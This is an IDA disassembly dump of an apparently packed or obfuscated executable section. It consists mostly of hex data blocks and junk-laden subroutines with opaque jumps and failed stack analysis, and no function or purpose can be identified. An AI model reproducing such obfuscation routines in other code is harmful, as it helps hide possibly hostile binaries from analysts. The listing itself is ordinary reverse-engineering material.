		dd 5EED33D4h, 5B72B2E1h, 0F8D78B66h, 0DE9h, 26B8F500h
		dd 7D19F2ACh, 0F0BF5831h, 7ABBA096h, 667CF150h,	6378EB81h
		dd 0C5EB8166h, 3EC38117h, 0F7182B0h, 583h, 0CF816600h
		dd 8E0F0787h, 8, 44E78160h, 6159EFAFh, 0EBEDBB66h, 0D2BBCA8Ah
		dd 0B75BBBC0h, 0FE96035h, 4A000000h, 5D2F2338h,	8659824Bh
		dd 51028955h, 0B70F77CBh, 816661C3h, 8BE7C9F6h,	0E38060FAh
		dd 6162B2B4h, 0FC7BF0Fh, 483h, 0CFB25100h, 138A0F58h, 60000000h
		dd 830Fh, 6E90000h, 2F000000h, 84FB2Bh,	0FCBE61E6h, 0F7AFF3Dh
		dd 178Eh, 12E900h, 0D9C50000h, 0A357C31h, 9D799C01h, 1FC0999Dh
		dd 0C48BF716h, 0BE9h, 0F333B200h, 9FD838C9h, 6AF5828Fh
		dd 0AE9h, 4BB70500h, 288C781Ch,	81C8CE1Fh, 9AB946E9h, 0BFDA8B59h
		dd 639CBC48h, 6AC08166h, 0FFA8BCEh, 8166D2B7h, 8025B8D9h
		dd 14E89AE2h, 0BC000000h, 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh
		dd 29B19D05h, 0E8674F39h, 6, 0F34E59FAh, 25B4047Ah, 0B9665E58h
		dd 0DF8B25C2h, 0B70F7EB5h, 3EF681D0h, 0BE1F8FEBh, 4D0FD09Bh
		dd 78E0Fh, 8C0F0000h, 1, 0A9B951F8h, 5F17E7BCh,	5850FFCh
		dd 0BB000000h, 4B925181h, 99C28166h, 0B9E3819Ah, 0F5749C7Ch
		dd 890FF38Bh, 6, 0D122DB81h, 0FC523716h, 10E85Bh, 0B2F00000h
		dd 739B10Dh, 0DFB3B0D3h, 34986F29h, 6659D7CEh, 0F3006BFh
		dd 0E8Eh, 9E900h, 24D60000h, 0B28B8556h, 0FEF3886h, 0F8Eh
		dd 0AE900h, 26900000h, 0B9A0C34h, 8E35E808h, 860Fh, 81520000h
		dd 1595DDF2h, 0A1B15941h, 80F7B70Fh, 8A0FB0CBh,	7, 0F59B760h
		dd 0E961F2B7h, 10h, 75C6A106h, 21A02705h, 0FC1AAC0Eh, 6FE2FC07h
		dd 13E9h, 0D7F12800h, 0B109B408h, 0B62CEBFDh, 6264CA30h
		dd 0C9846278h, 0F6BF0F60h, 0BD8FD081h, 0E9615943h, 0Fh
		dd 0B2741379h, 827CE849h, 72E90ED4h, 509CAF85h,	59C8B70Fh
		dd 81EA8166h, 0DF8B66D3h, 0C2E88157h, 5F2F982Fh, 0E8B09CBAh
		dd 0F681661Fh, 8F0F5AEAh, 3, 0FF1BF0Fh,	283h, 0B7C68B00h
		dd 0CDE580A1h, 58C0FFCh, 0BF000000h, 1276561Ch,	58D18A56h
		dd 4B9FBB66h, 7CD06ABAh, 9E859h, 448D0000h, 0F274D38Bh
		dd 8BA19B51h, 0D18B5AC8h, 9FFFE5BAh, 0BE924h, 42AC0000h
		dd 47E085BDh, 0DE8730A9h, 9850F29h, 0F000000h, 38Fh, 0D2BF0F00h
		dd 5950D88Bh, 0FE9h, 0E6E05E00h, 98AAD1D1h, 0F60973A9h
		dd 77442952h, 7E21B966h, 7C18166h, 6800FBFh, 81000000h
		dd 34E5B4F0h, 0C2B70F3Eh, 9C07CF81h, 5E50696Fh,	0BA9BB66h
		dd 0E944DB80h, 8, 61F6A694h, 0D337F4EDh, 0FE960h, 79700000h
		dd 88C04C09h, 534190D6h, 0E58D8735h, 0E6816655h, 0F613A3Fh
		dd 10E8C0B7h, 23000000h, 49837FD0h, 0E92FEFDFh,	0C85C1381h
		dd 0F5809CDh, 0F959DEBFh, 0A1DE8166h, 0D5BB66C8h, 9E805h
		dd 0C9A30000h, 3FCB1988h, 0E919787Fh, 0Fh, 0D2AE1D93h
		dd 0B5030ABFh, 2DBA95F9h, 5A4B1A75h, 66D78B66h,	3378E081h
		dd 8E8h, 43484B00h, 24122B48h, 0DBBF0F52h, 0B3D08159h
		dd 572C7A19h, 665EB2B2h, 2022D781h, 0BBF7EF80h,	421F917Fh
		dd 1BB4B966h, 5E8h, 0EE678400h,	0F589AF3h, 8Dh,	0BF66FC00h
		dd 0BA66FE34h, 0D78B59CBh, 17DCB8F8h, 65B62C54h, 11E8h
		dd 0F25F1400h, 0B239C21Ah, 0DF3F6BDCh, 0F4CED3C5h, 8B0FEA5Eh
		dd 3, 5FF1BF0Fh, 0AED8F081h, 860F541Fh,	5, 0D1B70F53h
		dd 0CA8B535Ah, 4DDE815Fh, 0E8339AD2h, 0Ch, 46BB37Ch, 0C3910346h
		dd 5797490h, 605FCE8Bh,	8E0F60h, 0B7000000h, 61FC6129h
		dd 6052D38Bh, 0A354DA81h, 0DEBE706Bh, 61096875h, 9870F5Ah
		dd 60000000h, 0CFB0D081h, 61FC7C90h, 0AAD6BA66h, 0E8F88B66h
		dd 14h,	48AA162h, 89C96287h, 0FA65234Eh, 3BD50175h, 0B0E79F40h
		dd 6CB482BBh, 8BF95925h, 14E8FEh, 0FFEF0000h, 5FCDEE79h
		dd 0FCABD475h, 0CB667826h, 36EEC0C2h, 50B198E3h, 7B9665Fh
		dd 108D0F2Ah, 0E9000000h, 0Bh, 839A1449h, 4D60347Ah, 8B645880h
		dd 0E78166C3h, 0D681777Fh, 1C389BC4h, 58D0F60h,	0B9000000h
		dd 6EFEADD8h, 6890Fh, 860F0000h, 0
		dd 6E861h, 0EBA20000h, 0D8485A5Bh, 0BE9h, 0D028A700h, 9D4704CAh
		dd 0FE03E50Bh, 0DE85Bh,	0A10000h, 63F38D1Dh, 836F1A51h
		dd 0B1205BF9h, 66FC5BA0h, 0B999CCBEh, 6462AE8Bh, 0CAB70F60h
		dd 0DE8h, 56ACCA00h, 3B73F31Dh,	0EB71F636h, 585131C0h
		dd 0CE96158h, 0AC000000h, 6FAC79ADh, 64187145h,	0F5E1FB8h
		dd 0B8Ch, 5840F00h, 0B9000000h,	14A0A8F5h, 13E957h, 58A60000h
		dd 4CECCF9Ah, 583094F5h, 0E9A2174h, 103F1697h, 0B70F5E81h
		dd 5BE66F0h, 5810F02h, 0B8000000h, 4D29C998h, 66D38B66h
		dd 374DD781h, 8C1BB966h, 50606160h, 8D0Fh, 0F5F0000h, 681h
		dd 33D68100h, 616BF86Ah, 4EC5CE81h, 0A4B113EFh,	0FE9h
		dd 7BA2A100h, 73D2E8Fh,	53A0A997h, 98357A6Ah, 0FF08B66h
		dd 830FC2BFh, 1, 8AD781FCh, 8B1CCDCDh, 870FF1h,	0E9000000h
		dd 10h,	0F078C05Ch, 66B4509h, 20BEF1D1h, 0D4F2494Ch, 0DE9h
		dd 0CC8B7F00h, 510994h,	99186C6Dh, 0F38B0535h, 19830Fh
		dd 14E90000h, 66000000h, 0B9244F60h, 7D517CEDh,	1E85BB39h
		dd 3C7B7912h, 60C44DDCh, 7642D881h, 0BE96B6Ah, 9B000000h
		dd 126ADB9Ch, 0DB581D2Dh, 66615D26h, 97A3F381h,	1850Fh
		dd 0FF50000h, 68Eh, 2CE78100h, 0E8603C64h, 10h,	5CF241A1h
		dd 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h, 6CD98166h, 0F535A43h
		dd 68Dh, 0FBD18100h, 5E491400h,	0DE9h, 0E86D0400h, 0AAE95620h
		dd 0FF9CDF80h, 0FE8818Ch, 8D000000h, 0D97379DAh, 73C20427h
		dd 0E8EDAD78h, 0E86098A0h, 0Bh,	2B12D040h, 462BEC3Ch, 5EA9E1B8h
		dd 9E9h, 0E7E91D00h, 6016DEAAh,	5961F61Fh, 82EB8166h, 0FF48AD7h
		dd 587h, 9426BF00h, 0C8816DBFh,	3419D109h, 10E9h, 0B28C7A00h
		dd 5F363211h, 70B4A164h, 0C70F21C3h, 0F5D18BECh, 6E9h
		dd 2856700h, 0FBE1975h,	0D38BF1B7h, 0C631EE81h,	8B666D8Dh
		dd 13E9CFh, 854B0000h, 0BA3DB36Eh, 7606F605h, 0E29622F3h
		dd 0EDBA55D1h, 0BBD08B3Fh, 11AA4A32h, 28C7DA81h, 0B70F42BBh
		dd 0CE8166F8h, 0E3803A38h, 84B86062h, 6128248Dh, 2BA6657h
		dd 0BF505FFEh, 764B6042h, 68B0F58h, 60000000h, 616090B3h
		dd 68BA6661h, 0DD780B6h, 0ADB7AAB8h, 118B0F48h,	0E9000000h
		dd 0Ch,	0F7E537A6h, 0B292F890h,	37A02DE7h, 11E8h, 6B162B00h
		dd 526033F9h, 0FAD52663h, 0C1521E45h, 8A0FDACEh, 2, 0F5EF6B5h
		dd 0C68BFFBFh, 0AE8h, 54B1EE00h, 0E261C565h, 56C8EF22h
		dd 5AF3B70Fh, 6058535Fh, 61FCE780h, 6870F53h, 81000000h
		dd 127830C7h, 0DE85F51h, 84000000h, 7F99A25Fh, 0B5B3E6D2h
		dd 0D2DF96A9h, 59D0B70Fh, 11E9h, 5B361600h, 0AF2057A7h
		dd 0A938F041h, 3298DD53h, 81561EB7h, 81C037C3h,	80565858h
		dd 665FEAC1h, 0E9BDF4B9h, 11h, 0DEDE62DAh, 66ACFA62h, 1F22F2B7h
		dd 6DA5ED58h, 88F0FFFh,	0F000000h, 280h, 66E68A00h, 66E652BBh
		dd 8139F8BEh, 850BC1C1h, 0BCDABA01h, 0DF810969h, 224D2158h
		dd 6E9h, 27665C00h, 662A470Bh, 51FD7EB8h, 0E9616060h, 12h
		dd 113C9EA9h, 6EF9FC94h, 5693C59Fh, 9895E7AAh, 59617B7Ah
		dd 8E9D88Bh, 0B8000000h, 858D444h, 66C8558Fh, 66E891B8h
		dd 0DB81F08Bh, 144603C1h, 38CF8166h, 2ABF66A5h,	1850F6Ch
		dd 0F5000000h, 0BBCBB70Fh, 5A22F1E7h, 0FE9h, 0CA83AA00h
		dd 331836D5h, 0E4548A51h, 0C305C936h, 960ABB66h, 0EE9h
		dd 0DB8E9800h, 91E844CCh, 7B8CF9FAh, 0F668441h,	683h, 59566000h
		dd 0E961F18Bh, 0Ch, 7A823285h, 3A7B4F1Dh, 0BAE66B65h, 2D69BB66h
		dd 11E9h, 0E5866900h, 28FAA690h, 61A569CDh, 0F3F26EC2h
		dd 81F5A9FEh, 559FE2C2h, 8157B53Bh, 6BC184DEh, 187DB921h
		dd 0D0815549h, 0D57ECBCh, 0C88B66F5h, 0D8BF0F60h, 10890F61h
		dd 0E9000000h, 0Bh, 0FBA86607h,	0D4F7D963h, 668A9F2Dh
		dd 0C6A8EA81h, 1B91EB81h, 870F1855h, 6,	8B0Fh, 10E90000h
		dd 0FF000000h, 14721E65h, 0E1FEFB75h, 0AA7107B7h, 8BC775B8h
		dd 6870FC2h, 81000000h,	0C26709EBh, 0E9D18B4Dh,	10h, 7CFDC8ECh
		dd 0B2FA50C1h, 0F7B5399Fh, 11BD3660h, 13880Fh, 800F0000h
		dd 0Dh,	7E8h, 0A13EC100h, 604A628Eh, 91BB665Ah,	0B7FE8AF1h
		dd 5AFC57B7h, 66DE8B66h, 0B70FCA8Bh, 80F2BAF0h,	870F524Eh
		dd 5, 174B36B8h, 14E958h, 10660000h, 150BED0Eh,	4B8F5ED3h
		dd 591BC754h, 0B1AF10CDh, 82BE1BABh, 0E8533863h, 0Dh, 9A766FC7h
		dd 0AC476DBDh, 0DBFF811Dh, 816658AFh, 0E92624EBh, 5, 0E0165E48h
		dd 0E9C78B2Eh, 11h, 0F5AACCA1h,	87BF8502h, 0FD6642F7h
		dd 2DF9DDFAh, 870FFCF2h, 2, 0DE8BD08Bh,	1B8B0Fh, 13E80000h
		dd 31000000h, 37662C3Bh, 2D0C3D25h, 0A55A167h, 0F04DD021h
		dd 59531974h, 0E9A4B05Bh, 0Dh, 0F950D648h, 0B4EF9E5Ah
		dd 1E293C96h, 8E9EEh, 33EF0000h, 0AE6E069Eh, 0FA8A5B1Dh
		dd 0DE8h, 0C219E100h, 57295776h, 45E4F962h, 0EE817358h
		dd 52962FF1h, 0CE95Fh, 88930000h, 666597B3h, 37C6439Eh
		dd 0F5F86105h, 0BAE38AF8h, 76027F15h, 81C8BF0Fh, 64CA52CEh
		dd 12E903h, 76280000h, 2346A49Dh, 0F9E168DDh, 0B5B86A19h
		dd 0B926EFA0h, 5C7DC081h, 8B664C3Ah, 78A0FF7h, 53000000h
		dd 553CA8BAh, 840F5F48h, 5, 0C1D08166h,	283BB98Bh, 0BE663423h
		dd 850F34B3h, 3, 0B2D68B66h, 80E0806Ah,	4ED5B966h, 6E9h
		dd 0BAA56800h, 0B5DB39DDh, 3830FC3h, 66000000h,	8B50DA8Bh
		dd 49B559FAh, 10E8h, 7632900h, 0C63C02Dh, 0D691AC1Bh, 0D0BBEEBFh
		dd 14E907h, 0EBEE0000h,	0C3966507h, 13C8526Fh, 0EF2F45D5h
		dd 0CDEE79FFh, 6659755Fh, 66A4ABBEh, 0F81513BAh, 296295BEh
		dd 48F0F0Ah, 51000000h,	665FE58Ah, 0ACBBF98Bh, 0F2B2480h
		dd 1887h, 13E900h, 60E40000h, 0A0F657DDh, 0B464C426h, 0D5459B75h
		dd 2DB15967h, 0F18B667Ah, 0FE960h, 0D3560000h, 3B590111h
		dd 108712B4h, 534381B9h, 0FCE811Fh, 616368FBh, 0CE9h, 0E7DA3B00h
		dd 0CA438285h, 3FCA0D95h, 0C181F524h, 5267CFB2h, 992448BBh
		dd 12E932h, 738D0000h, 0A5C3D42Dh, 0BB016363h, 1585200Dh
		dd 0E2A520EDh, 890FECB3h, 0
		dd 1680BB66h, 13E8h, 0BB9BA300h, 665A310Fh, 1170B245h
		dd 998D13E0h, 9B169B10h, 0C8DA805Fh, 11E8h, 2EEAC600h
		dd 0E0598472h, 0B185F4CBh, 0E23BFFA1h, 0C2814984h, 30BA07C0h
		dd 0E8F3B759h, 6, 16AF1F4Fh, 0BF0FE607h, 8A0F59C0h, 5
		dd 0FFE18166h, 505660EBh, 0DE80595Bh, 0CE96163h, 8C000000h
		dd 950FDFA9h, 93D2FA70h, 0F5009B5h, 0B70FCFB7h,	0FA8B66DBh
		dd 66FBB70Fh, 50D7AAB8h, 0EE9h,	4113F400h, 8DECFEECh, 15520AECh
		dd 59934614h, 0EE8h, 0FE06AE00h, 7AC95546h, 27C1DD12h
		dd 0BB06537Ch, 5D718F5Bh, 0B8F0F58h, 0F000000h,	58Fh, 0ABF2B900h
		dd 12E952D8h, 0AD000000h, 91D96520h, 320865D9h,	0DCCEEB47h
		dd 0DD1C1EA7h, 0C2B70FFBh, 0AE57B866h, 13890Fh,	7E80000h
		dd 9000000h, 542EB427h,	0EE813D38h, 12EF9333h, 0ECDA805Ah
		dd 0CE9h, 1EA54400h, 0C8310D32h, 0E33F9F08h, 0F68166F3h
		dd 0BB66355Fh, 0D0806B6Dh, 0E7815708h, 77540E0h, 11830F5Ah
		dd 0E9000000h, 0Ch, 0A70BC7C4h,	83DEE107h, 61F0001Eh, 7E8h
		dd 0F9234200h, 0ABB545BBh, 58AFB457h, 0DE95Ah, 59B90000h
		dd 0A42D8383h, 0D25A0556h, 8B8061B3h, 1EBB66F2h, 138A0FC6h
		dd 60000000h, 890Fh, 6E90000h, 5D000000h, 6359D99Dh, 9ABF61F7h
		dd 606E7930h, 82472AB9h, 18A0F3Fh, 0F5000000h, 7E961h
		dd 0D89D0000h, 0EAA2D60Ah, 0BAD8B2E2h, 2E6DBE06h, 840FFAB0h
		dd 13h,	7E8h, 44BC0200h, 87A78BD8h, 820Fh, 815E0000h, 832554D0h
		dd 50B96644h, 0F1EB647h, 8166FAB7h, 804ADBE1h, 0D5B8CFF0h
		dd 60285654h, 1F8AE981h, 10E81318h, 90000000h, 30A5BE9Ch
		dd 20113043h, 51CE46D9h, 0B0EF295Fh, 60615989h,	0EE9h
		dd 0E3717E00h, 4196037Dh, 0AA1B6219h, 0F89DF6CAh, 0BA666061h
		dd 8166E3A3h, 61F77EEFh, 0AE8h,	0CB382200h, 304962Ch, 5ED33FCFh
		dd 18F38166h, 0B70FFC7Ch, 13E9D1h, 78A60000h, 0ABDE39E6h
		dd 0ED44EFEEh, 2F3DC619h, 0F9A1857h, 80BBB426h,	76BFCFCEh
		dd 0E9333CFCh, 13h, 59F0A8E5h, 7F551C4h, 0E656D71Fh, 7FCBD97Fh
		dd 52C22014h, 0F85BF08Ah, 798FF9BAh, 0AC28BB4Eh, 14E80658h
		dd 8D000000h, 810C515Dh, 29782F58h, 0CF9F1842h,	2675C11Bh
		dd 66F40DC7h, 0B05BF78Bh, 0E6816626h, 0B9661634h, 8A604942h
		dd 61F28BCBh, 850F90B1h, 1, 3850FF5h, 0F000000h, 0BE60F2BFh
		dd 5524A897h, 148052BAh, 0BF0F6145h, 80FB8BD7h,	80F9B1EDh
		dd 0E0810FC8h, 3F64B972h, 0E9E6C980h, 0Ch, 450039E0h, 6F729BACh
		dd 0AB9749ABh, 0B62A87BEh, 12E877h, 51680000h, 0C1C92AD1h
		dd 4622C31Bh, 0D08C8001h, 1419FBCEh, 8D0F5EF9h,	0Ah, 5E9h
		dd 5F14AC00h, 10E81AF2h, 88000000h, 0D343015Bh,	66E0DE2Ch
		dd 0AE388E3h, 0E82CAE4Fh, 0Fh, 66ADD3D2h, 81D1F6D6h, 4325452Bh
		dd 0FF0A417h, 585ACFB7h, 60FE8BFCh, 0FE9h, 0F0C21B00h
		dd 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 0FE961h, 23510000h
		dd 62E0BA56h, 0BA4109Ch, 1CD28DA2h, 8A60FC31h, 0BE61FCC5h
		dd 76BD578Eh, 0CABB66F8h, 5D13BBD0h, 0C9802C10h, 14E9B8h
		dd 0E13A0000h, 0FB20231Bh, 29052FBBh, 0B1EE9535h, 61C56554h
		dd 816622E2h, 81DAA6EFh, 0BD8A15C1h, 0FBC7813Eh, 8B52FF2Dh
		dd 0A6D980D6h, 138DE881h, 0BA666FC5h, 816095E3h, 2B820BE1h
		dd 1EF48077h, 0D1816661h, 81668990h, 0BEBF86E6h, 600E4A55h
		dd 0E9F18B66h, 0Ah, 0F6F05F62h,	0D391F37Bh, 0DE8BE89Ah
		dd 12E9h, 0E1443300h, 0DD645BFDh, 24788433h, 0D1878980h
		dd 535DED00h, 7E9h, 734F8500h, 0D2434AD7h, 6B8DBB5Fh, 0F601517h
		dd 89h,	61F38B00h, 0FCC88166h, 1AD3B9D5h, 57B45BB5h, 13E860h
		dd 48150000h, 0B15CAA7Dh, 3FF519FAh, 0A5DFDFF9h, 0DE7DD447h
		dd 0CE947h, 24D80000h, 77552CE0h, 0BF2DF4B3h, 0F5A11BFh
		dd 6061C0BFh, 886BA66h,	5820Fh,	4B90000h, 615D93EBh, 0E9606160h
		dd 5, 0D2B5D2BCh, 13E994h, 4CC40000h, 84C9A72Dh, 51ACDBAEh
		dd 0A0298CDh, 0D2AD27E8h, 0FCF5617Ch, 9CCF8166h, 0B8B86689h
		dd 0ACD980B5h, 0FF18B66h, 680h,	2FDF8100h, 800489F6h, 860F7DE4h
		dd 2, 890FD18Bh, 0
; ---------------------------------------------------------------------------
		stc
		mov	ax, cx
		jnz	loc_614847
		jmp	loc_614847
; ---------------------------------------------------------------------------
		db 4Ah
		dd 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h
		db 70h,	0C8h, 1
; ---------------------------------------------------------------------------


loc_614847:				; CODE XREF: sdfs____:00614828j
					; sdfs____:0061482Ej
		call	near ptr sub_614851
		mov	ds:0F9C712F4h, al

; =============== S U B	R O U T	I N E =======================================



sub_614851	proc far		; CODE XREF: sdfs____:loc_614847p
		mov	bl, dl
		pop	edi
		mov	dl, 8Fh
		jbe	loc_61485E
		push	ebx
		pop	esi


loc_61485E:				; CODE XREF: sub_614851+5j
		sub	ah, 0E9h
		call	sub_614875
		outsb
		dec	edx
		add	al, 0C7h
		retf
sub_614851	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Dh
		dd 0A25769CFh, 4F30E161h
		db 0F4h

; =============== S U B	R O U T	I N E =======================================



sub_614875	proc near		; CODE XREF: sub_614851+10p

; FUNCTION CHUNK AT 006148D9 SIZE 00000039 BYTES

		pusha
		mov	esi, 4960BABFh
		jmp	loc_61488D
; ---------------------------------------------------------------------------
		dd 47002B66h, 6EDE3209h, 699259F6h
		db 3Ch
; ---------------------------------------------------------------------------


loc_61488D:				; CODE XREF: sub_614875+6j
		popa
		pop	edi
		mov	di, 0E076h
		mov	bx, cx
		push	edi
		mov	ax, 29E4h
		pop	ebx
		mov	cx, 0E13Eh
		jmp	loc_6148AE
; ---------------------------------------------------------------------------
		push	ss
		scasb
		adc	eax, 13B621F8h
		or	eax, ebx


loc_6148AE:				; CODE XREF: sub_614875+2Bj
		jns	loc_6148D9
		call	sub_6148C3
		mov	ch, 2Bh
		imul	ebx, [ebx+30h],	5F254979h
		popf
sub_614875	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6148C3	proc near		; CODE XREF: sub_614875+3Fp
					; sub_614875+93j
		jmp	sub_6148D8
sub_6148C3	endp

; ---------------------------------------------------------------------------
		dd 6E4E9AE1h, 5E638A26h, 0BFAB359Fh, 4811682Dh

; =============== S U B	R O U T	I N E =======================================



sub_6148D8	proc near		; CODE XREF: sub_6148C3j
		pop	edx
sub_6148D8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_614875


loc_6148D9:				; CODE XREF: sub_614875:loc_6148AEj
		push	ecx
		mov	cx, 3025h
		pop	edx
		mov	ch, dh
		pusha
		mov	dx, cx
		movzx	eax, dx
		popa
		push	ecx
		mov	dx, 3EBAh
		pop	edx
		movsx	esi, ax
		mov	di, dx
		mov	cl, al
		jg	loc_614919
		call	sub_614916
		cmp	[esi-6ACC8379h], ch
		jl	short sub_6148C3
		aad	63h
		adc	eax, [esi+7EEA76FFh]
; END OF FUNCTION CHUNK	FOR sub_614875
; ---------------------------------------------------------------------------
		dw 768Ch
		db 29h,	40h

; =============== S U B	R O U T	I N E =======================================



sub_614916	proc near		; CODE XREF: sub_614875+88p
		mov	edi, edx
		pop	esi


loc_614919:				; CODE XREF: sub_614875+82j
		mov	di, dx
		jle	loc_614929
		jno	loc_614929
		clc


loc_614929:				; CODE XREF: sub_614916+6j
					; sub_614916+Cj
		mov	esi, 119780EBh
		mov	ax, di
		mov	si, bx
		ja	loc_61493F
		xor	bx, 0F8D4h


loc_61493F:				; CODE XREF: sub_614916+1Ej
		mov	bx, cx
		clc
		mov	bh, al
		push	eax
		pop	edx
		push	edx
		movzx	ebx, ax
		pop	ecx
		call	near ptr loc_61495A+1
		int	3		; Trap to Debugger
		outsb
		xchg	eax, esp
		push	ebx
		push	ds
		adc	[esi], dl
		mov	dl, 23h


loc_61495A:				; CODE XREF: sub_614916+36p
		sub	[ecx+0Fh], edx
sub_614916	endp ; sp-analysis failed

		mov	es, word ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 58580000h, 0FF08B66h, 588h, 0D7816600h, 0BF0F4511h
		dd 0DE8FEh, 0C580000h, 0B8403E7Eh, 95E1ACCBh, 816048F2h
		dd 694B1FC2h, 8B66585Dh, 0BE9DAh, 0C26D0000h, 0E2B09C02h
		dd 65FB2A1Bh, 0C0BF5002h, 5E096AE4h, 8E9h, 3B33FA00h, 0BFE2ACF6h
		dd 0E834B31Ah, 5, 370F11B9h, 13E984h, 0E9FB0000h, 9657FDC5h
		dd 0A3CF97CDh, 5E379EAh, 98529F45h, 850F5EC1h, 0Ah, 48E0Fh
		dd 0BA660000h, 8160E9CDh, 4173BFD3h, 0CF816652h, 0F61B7F9h
		dd 0C880C6B7h, 66F38B0Dh, 10E9C68Bh, 39000000h,	0AD90C09h
		dd 0C7FA9F1Dh, 21179651h, 0E882C85Bh, 12h, 349AC76Dh, 58671E40h
		dd 0ED76B825h, 13409F43h, 0B9573EEDh, 6BC518F1h, 0F605F5Ah
		dd 681h, 890F00h, 61000000h, 238B0Fh, 11E80000h, 9B000000h
		dd 0B8F37412h, 254D6F84h, 1AC4CC5Bh, 1659B264h,	7E9h, 9A69D800h
		dd 6FF5C946h, 6830F5Ah,	81000000h, 6A1171DBh, 1AE08126h
		dd 66006B7Eh, 0DE8AF08Bh, 810Fh, 0F38A0000h, 8B59F850h
		dd 0ACBE66D6h, 8B606085h, 0D08166D7h, 6661E7BDh, 2F26C681h
		dd 0D5B86661h, 5850F80h, 51000000h, 598EE580h, 0B4C08166h
		dd 96B96630h, 0F3816697h, 860FE25Eh, 3,	66D98B66h, 0BF33E381h
		dd 3890Fh, 8B660000h, 0D38B66CFh, 810F7AB2h, 19h, 14E9h
		dd 0DE952500h, 0D7F9076Fh, 43A69B40h, 6892DE0Eh, 1C77B88Ch
		dd 11E8E4h, 672D0000h, 210A55A1h, 74F04DD0h, 0EBC69F19h
		dd 0F6BF89Fh, 281h, 5B616000h, 0EE8h, 6117E00h,	0CC9857AFh
		dd 0D50490F3h, 0FECC100h, 583h,	0EB816600h, 0B058B198h
		dd 0D98160D2h, 27E140B9h, 34C78166h, 9E961BEh, 0BD000000h
		dd 5B04AE17h, 0E2A9D94Dh, 0D18150F9h, 3DB7BFC0h, 2A72BF5Ah
		dd 8F0F4371h, 1, 0E82CB3F9h, 0Eh, 8A6472CEh, 0EE08E1C9h
		dd 802C9DAEh, 0BB596CC1h, 4BA3B0AAh, 0EE9h, 0A49A1700h
		dd 5E96F615h, 9AB44394h, 0B984D123h, 613BDA89h,	8D0FD68Bh
		dd 1Bh,	158F0Fh, 10E90000h, 0CD000000h,	4D7DBD2Ah, 60FE183Bh
		dd 0C4ABBCB7h, 60DC6B4Bh, 66F0BF0Fh, 61BBADBFh,	0E960D18Ah
		dd 0Dh,	1E9FA151h, 3E500584h, 90D87322h, 61D88B73h, 0EE95856h
		dd 87000000h, 0DBA52B21h, 0AF2CD23Dh, 9A4A1CDDh, 0C1BF0FD9h
		dd 0DE9h, 3AF62100h, 66ADD3D2h,	81D1F6D6h, 8B66452Bh, 0C582B9C7h
		dd 0B70F0F6Eh, 9E9D3h, 0E3B30000h, 51E660C7h, 8B063DA7h
		dd 1EE081D1h, 0F284E2Eh, 1382h,	0EE900h, 18EB0000h, 6FCF33CEh
		dd 0FD345D2Eh, 0A83BBDB0h, 53D1B70Fh, 8ADE8166h, 81665B9Eh
		dd 0FF1CCF1h, 148Ch, 0FE900h, 8D570000h, 9061E3B5h, 7C2514A2h
		dd 2186FA9h, 0CF8B668Ah, 66F38B66h, 11E9D38Bh, 6B000000h
		dd 27C437CFh, 7780D209h, 0F2F34674h, 0D5B1D146h, 5870Fh
		dd 81660000h, 0E91788F1h, 12h, 0BE6DAD8h, 0FCC4FE94h, 0AD2BE909h
		dd 2576E00Eh, 0BA662836h, 81667F2Dh, 5292C9F0h,	6E9h, 0ECAA2D00h
		dd 5FF05199h, 0CE9h, 0C040F600h, 29703A7Ch, 1B891C8Ah
		dd 0BCC7810Bh, 0E9447C4Ch, 0Fh,	0B7058590h, 8C781C4Bh
		dd 0C8CE1F28h, 0E9A9FF9Fh, 0Fh,	7E16E63h, 13D61DCBh, 0EC9F3F2Bh
		dd 0BB38DF3Ch, 5E0AA5ADh, 820Fh, 0CE8B0000h, 2CE662BAh
		dd 0C68B662Bh, 7BB6650h, 66605845h, 8B66C78Bh, 890F61D9h
		dd 0Bh,	58B0Fh,	81660000h, 663B27C7h, 2E59CE81h, 11E9h
		dd 0D7217B00h, 0C8AE73F8h, 65B218FFh, 49155953h, 0DE8A5969h
		dd 8E9h, 0DBECCC00h, 1673609Ah,	3840FE3h, 66000000h, 0B70FCF8Bh
		dd 5E9CEh, 627D0000h, 0E87003D7h, 0Fh, 0FDB7A77Bh, 0BEBEC7C1h
		dd 4D77EFD7h, 0E9E6A43Dh, 9, 0A873F2EEh, 83EA6D9Eh, 81665A8Ah
		dd 0B927A2CFh, 3C6C70CBh, 0FBBF0FF9h, 0DE9h, 1E9AF00h
		dd 0B80DE3C1h, 0DD9CC50Eh, 8166907Bh, 8149FCEAh, 84D751CFh
		dd 0AE95Ah, 54470000h, 0E2AF2B23h, 5C276170h, 6800Fh, 0D7810000h
		dd 58212825h, 68B0Fh, 0E3810000h, 2411A67Ah, 11E9h, 455CFE00h
		dd 60EBD100h, 0A07A079Ah, 6653DC3Ah, 0D68BE32Ch, 0A3EE8166h
		dd 0F515274h, 585BC1B7h, 13E9h,	0F4B03E00h, 0DD37AE68h
		dd 2F44A154h, 5ED28734h, 0E1286E78h, 0F9F86056h, 8A535E61h
		dd 0BE958C3h, 0B6000000h, 6A4B655Ah, 1D1EB6A2h,	12E913CBh
		dd 0FE000000h, 44003263h, 21BCB5DCh, 7B5528D2h,	0AAB7AEE8h
		dd 0D781664Eh, 830F6738h, 15h, 0F850Fh,	0AE90000h, 7A000000h
		dd 0DD303F76h, 57AEC827h, 0FD8A6011h, 6061CE8Ah, 4CB96660h
		dd 12E8BBh, 2FFD0000h, 0C5670197h, 1607866Bh, 0B7A50F6Fh
		dd 0FD75EEBh, 1CB4615Eh, 0F3BF0F61h, 6773E981h,	800F0850h
		dd 0Bh,	5830Fh,	81660000h, 523BFDC0h, 0B95BEF8Ah, 251863F2h
		dd 810F5E56h, 6, 510DB260h, 0F516158h, 8B5AC6B7h, 3850FCAh
		dd 66000000h, 10E9F98Bh, 3C000000h, 0B8462BECh,	571AA9E1h
		dd 1A0CB4DDh, 8BFE015Ch, 8B66F5F7h, 0DA8B66FAh,	71F0B860h
		dd 81661107h, 61E2C6DEh, 66C78B66h, 0F47EAB9h, 189h, 8B0FF900h
		dd 6, 8F9AC881h, 0B70F454Bh, 7E853C3h, 0FF000000h, 0ABD99F92h
		dd 880FD583h, 0
